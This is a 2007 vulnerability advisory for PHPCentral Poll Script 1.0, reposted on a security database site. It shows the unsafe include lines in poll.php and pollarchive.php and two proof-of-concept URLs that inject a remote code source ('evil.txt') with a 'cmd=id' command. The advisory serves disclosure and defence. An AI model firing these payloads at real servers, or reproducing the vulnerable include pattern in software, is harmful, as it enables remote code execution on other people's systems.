PHPCentral Poll Script Remote Command Execution Vulnerability

2007.08.15
Credit: rizgar
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

PHPCentral Poll Script Remote Command Execution Vulnerability ----------------------------------------------------------------------- Script : PHPCentral Poll Script Version : 1.0 Site : http://www.phpcentral.org/scripts.php Founder : Rizgar Contact : rizgar (at) linuxmail (dot) org [email concealed] and irc.gigachat.net #kurdhack Thanks : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys) d0rk : not d0rk :) ----------------------------------------------------------------------- Vulnerability details : This vulnerability allows remote attackers to execute arbitrary code on systems with vulnerable installations of the PHPCentral Poll script. ------------------------------------------------------------------------ look at poll.php, pollarchive.php poll.php ; Lines 2,3,4 ; $folder = "poll"; // Folder in which poll files are -- (default folder is "poll") include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php"); include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php"); pollarchive.php Lines : 2,3,4 $folder = "poll"; // Folder in which poll files are -- (default folder is "poll") include("".$_SERVER[DOCUMENT_ROOT]."/$folder/functions.php"); include("".$_SERVER[DOCUMENT_ROOT]."/$folder/config.php"); PoC : http://www.example.com/poll.php?_SERVER[DOCUMENT_ROOT]=http://evil.txt?& cmd=id http://www.example.com/pollarchive.php?_SERVER[DOCUMENT_ROOT]=http://evi l.txt?&cmd=id # milw0rm.com [2007-08-10]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top